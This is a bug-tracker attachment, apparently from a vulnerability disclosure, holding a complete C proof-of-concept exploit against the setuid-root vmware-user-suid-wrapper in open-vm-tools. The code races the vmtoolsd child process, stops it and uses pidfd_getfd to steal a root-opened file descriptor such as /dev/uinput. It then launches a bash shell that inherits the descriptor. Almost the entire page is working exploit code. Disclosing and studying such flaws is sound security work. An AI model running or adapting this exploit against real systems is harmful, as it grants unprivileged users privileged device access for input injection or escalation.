Attachment 868396 Details for Bug 1213478

generic standalone exploit

vmware-race-fd.c (text/x-c), 8.46 KB, created by Matthias Gerstner on 2023-07-24 11:35:24 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Matthias Gerstner

Created: 2023-07-24 11:35:24 UTC

Size: 8.46 KB

patch

obsolete

>/*
> * Matthias Gerstner (matthias.gerstner@suse.de)
> *
> * 2023-07-24
> *
> * Proof of concept that shows a vulnerability in the setuid-root program
> * `vmware-user-suid-wrapper` which is part of the open-vm-tools project.
> *
> * The setuid-root program opens the following files using root privileges:
> *
> * - /dev/uinput
> * - /run/vmblock-fuse/dev
> *
> * then drops root privileges and executes the vmtoolsd daemon.
> *
> * On Linux this privilege drop means that other unprivileged processes owned
> * by the real UID of the process can now ptrace() vmtoolsd and perform other
> * privileged operations to obtain the already opened privileged files.
> *
> * This proof of concept invokes `vmware-user-suid-wrapper` and attempts to
> * win a race condition to snatch the desired file descriptor  from a
> * (possibly short living) vmtoolsd grand child process.
> *
> * The file descriptor to snatch is determined by the single command line
> * argument (/dev/uinput by default). This variant of the exploit shows that
> * exploiting the vulnerability is also possible in non-graphical
> * environments, for users without any special capabilities (like `nobody`)
> * and even on non-vmware hosts.
> */
>
>#include <ctype.h>
>#include <dirent.h>
>#include <errno.h>
>#include <fcntl.h>
>#include <signal.h>
>#include <stdbool.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <sys/stat.h>
>#include <sys/syscall.h>
>#include <sys/types.h>
>#include <sys/wait.h>
>#include <unistd.h>
>
>#define VMTOOLSD "/usr/bin/vmtoolsd"
>#define FATAL_EXIT 10
>
>extern char **environ;
>struct stat st;
>char sbuf[PATH_MAX];
>pid_t wrapper_child_pid = -1;
>
>/* system call wrappers since the pidfd family of functions does not yet have
> * wrappers in glibc */
>
>static int pidfd_open(pid_t pid) {
>	return syscall(SYS_pidfd_open, pid, 0);
>}
>
>static int pidfd_send_signal(int pidfd, int sig) {
>	return syscall(SYS_pidfd_send_signal, pidfd, sig, NULL, 0);
>}
>
>static int pidfd_getfd(int pidfd, int targetfd) {
>	return syscall(SYS_pidfd_getfd, pidfd, targetfd);
>}
>
>static void exec_prog(const char *path) {
>	const char *argv[] = {path, NULL};
>	execve(path, (void*)argv, environ);
>	fprintf(stderr, "%s: ", path);
>	perror("execve()");
>	_exit(FATAL_EXIT);
>}
>
>static void prepare_wrapper() {
>	wrapper_child_pid = fork();
>
>	if (wrapper_child_pid == 0) {
>		// wait until we're asked to actually continue
>		raise(SIGSTOP);
>		// make sure /dev/uinput is also opened by the setuid-wrapper.
>		setenv("XDG_SESSION_TYPE", "wayland", 1);
>		exec_prog("/usr/bin/vmware-user-suid-wrapper");
>	} else {
>		int status = 0;
>
>		do {
>			if (waitpid(wrapper_child_pid, &status, WUNTRACED) < 0) {
>				perror("waitpid()");
>				exit(1);
>			}
>		} while (!WIFSTOPPED(status));
>	}
>}
>
>static void kickoff_wrapper() {
>	kill(wrapper_child_pid, SIGCONT);
>}
>
>static void collect_wrapper() {
>	if (wrapper_child_pid < 0)
>		return;
>
>	int status = 0;
>
>	do {
>		if (waitpid(wrapper_child_pid, &status, 0) < 0) {
>			perror("waitpid(wrapper)");
>		}
>	} while (!WIFEXITED(status));
>
>	wrapper_child_pid = -1;
>
>	if (WEXITSTATUS(status) == FATAL_EXIT) {
>		fprintf(stderr, "wrapper child process encountered fatal error\n");
>		exit(1);
>	}
>}
>
>
>// convert a string representing an integer to and int, returns operation success flag
>static bool stoint(const char *s, int *out) {
>	int items = sscanf(s, "%d", out);
>
>	return items > 0;
>}
>
>static bool is_dir(int dir_fd, struct dirent *ent) {
>	if (ent->d_type == DT_DIR) {
>		return true;
>	} else if (ent->d_type != DT_UNKNOWN) {
>		return false;
>	}
>
>	if (fstatat(dir_fd, ent->d_name, &st, 0) != 0) {
>		switch (errno) {
>			case ENOENT: // race
>			case EPERM: // not owned by us
>			case EACCES:
>				return false;
>			default:
>				perror("fstat(): /proc/<pid>");
>				exit(1);
>		}
>	}
>
>	return (st.st_mode & S_IFMT) == S_IFDIR;
>}
>
>static void build_proc_exe_path(const char *pid) {
>	int req = snprintf(sbuf, sizeof(sbuf), "/proc/%s/exe", pid);
>
>	if (req < 0 || (size_t)req >= sizeof(sbuf)) {
>		fprintf(stderr, "snprintf overflow\n");
>		exit(1);
>	}
>}
>
>/*
> * finds out the PID for the daemon running the executable defined in
> * `VMTOOLSD`. On error -1 is returned.
> *
> * To reduce the amount of system calls required to walk through /proc this
> * function employ a heuristic assuming that the grand-child process will
> * receive a PID close to `wrapper_child_pid`.
> */
>static pid_t find_daemon() {
>	pid_t ret = -1;
>	DIR *proc = opendir("/proc");
>	struct dirent *ent = NULL;
>	char target[PATH_MAX];
>
>	if (!proc) {
>		perror("opendir(): /proc");
>		return ret;
>	}
>
>	pid_t cur_pid = -1;
>	int proc_fd = dirfd(proc);
>
>	kickoff_wrapper();
>
>	while ((ent = readdir(proc)) != NULL) {
>		if (!stoint(ent->d_name, &cur_pid))
>			continue;
>		else if (!is_dir(proc_fd, ent))
>			continue;
>		// this is a bit of heuristics but it should reduce the amount
>		// of system calls we require to catch a short-living vmtoolsd
>		// significantly
>		else if (cur_pid < wrapper_child_pid || cur_pid > (wrapper_child_pid + 50))
>			continue;
>
>		build_proc_exe_path(ent->d_name);
>
>		int written = readlink(sbuf, target, sizeof(target));
>
>		if (written < 0) {
>			switch (errno) {
>				case EPERM: // not owned by us
>				case EACCES:
>					continue;
>				default:
>					break;
>			}
>			printf("readlink(): /proc/%s/exe failed\n", ent->d_name);
>		} else if ((size_t)written >= sizeof(target)) {
>			fprintf(stderr, "readlink(): buffer truncation occured");
>			exit(1);
>		}
>
>		target[written] = '\0';
>
>		if (strcmp(target, VMTOOLSD) == 0) {
>			ret = cur_pid;
>			break;
>		}
>	}
>
>	closedir(proc);
>
>	return ret;
>}
>
>/*
> * Returns the number of the file descriptor matching the given
> * `searched_path` in the daemon process running under PID `daemon_pid`
> * 
> * On error -1 is returned.
> */
>static int find_target_fd(int daemon_pid, const char *searched_path) {
>
>	int req = snprintf(sbuf, sizeof(sbuf), "/proc/%d/fd", daemon_pid);
>
>	if (req < 0 || (size_t)req >= sizeof(sbuf)) {
>		fprintf(stderr, "snprintf overflow\n");
>		exit(1);
>	}
>
>	struct dirent *ent = NULL;
>	DIR *fd_dir = opendir(sbuf);
>
>	if (!fd_dir) {
>		perror("opendir(): /proc/<vmtoolsd-pid>/fd");
>		return -1;
>	}
>
>	int fd_num = -1;
>	int fd_dir_fd = dirfd(fd_dir);
>
>	while ((ent = readdir(fd_dir)) != NULL) {
>		if (!stoint(ent->d_name, &fd_num))
>			continue;
>
>		ssize_t len = readlinkat(fd_dir_fd, ent->d_name, sbuf, sizeof(sbuf));
>
>		if (len < 0)
>			continue;
>
>		sbuf[len] = '\0';
>
>		if (strcmp(sbuf, searched_path) == 0) {
>			break;
>		}
>	}
>
>	closedir(fd_dir);
>
>	return fd_num;
>}
>
>/**
> * Performs the operational sequence of:
> *
> * - stopping the daemon to prevent further races
> * - finding the target file descriptor for the file specified on the command
> *   line
> * - duplicating this file descriptor from the VMTOOLS daemon
> * - resuming the daemon's operation
> *
> * returns the snatched fd or -1 if none could be obtained.
> **/
>static int try_snatch_fd(pid_t daemon_pid, const char *snatch_fd_path) {
>
>	if (daemon_pid < 0) {
>		printf("failed to find %s process\n", VMTOOLSD);
>		return -1;
>	} else {
>		printf("%s running at %d\n", VMTOOLSD, daemon_pid);
>	}
>
>	int daemon_file = pidfd_open(daemon_pid);
>
>	if (daemon_file < 0) {
>		perror("pidfd_open(<vmtoolsd>)");
>		return -1;
>	}
>
>	// stop the daemon so we can continue working with in peace without
>	// fear of it meanwhile exiting
>	pidfd_send_signal(daemon_pid, SIGSTOP);
>
>	int daemon_fd_num = find_target_fd(daemon_pid, snatch_fd_path);
>
>	int snatched_fd = -1;
>
>	if (daemon_fd_num < 0) {
>		fprintf(stderr, "failed to find fd to snatch (%s)", snatch_fd_path);
>	} else {
>		printf("Found fd %d for %s in %s\n", daemon_fd_num, snatch_fd_path, VMTOOLSD);
>		snatched_fd = pidfd_getfd(daemon_file, daemon_fd_num);
>
>		if (snatched_fd < 0) {
>			perror("failed to snatch fd: pidfd_get_fd()");
>		}
>	}
>
>	// let the daemon continue running
>	pidfd_send_signal(daemon_pid, SIGCONT);
>
>	close(daemon_file);
>
>	return snatched_fd;
>}
>
>static void run_subshell(int snatched_fd) {
>	// reset the O_CLOEXEC flag, which is always set by pidfd_getfd.
>	fcntl(snatched_fd, F_SETFD, 0);
>	// execute new sub shell owning the snatched file descriptor
>	printf("Executing sub shell which will inherit the snatched file descriptor %d (check /proc/self/fd)\n", snatched_fd);
>	exec_prog("/bin/bash");
>}
>
>int main(int argc, const char **argv) {
>	const char *snatch_fd_path = argc == 2 ? argv[1] : "/dev/uinput";
>
>	while (true) {
>
>		collect_wrapper(); // collect possibly still existing child
>		prepare_wrapper(); // start a new one
>
>		pid_t daemon_pid = find_daemon();
>		if (daemon_pid < 0)
>			continue;
>
>		int snatch_res = try_snatch_fd(daemon_pid, snatch_fd_path);
>
>		if (snatch_res < 0) {
>			continue;
>		}
>
>		collect_wrapper();
>		run_subshell(snatch_res);
>		return 1;
>	}
>}

Actions: View

Attachments on bug 1213478: 868396 | 868397 | 868401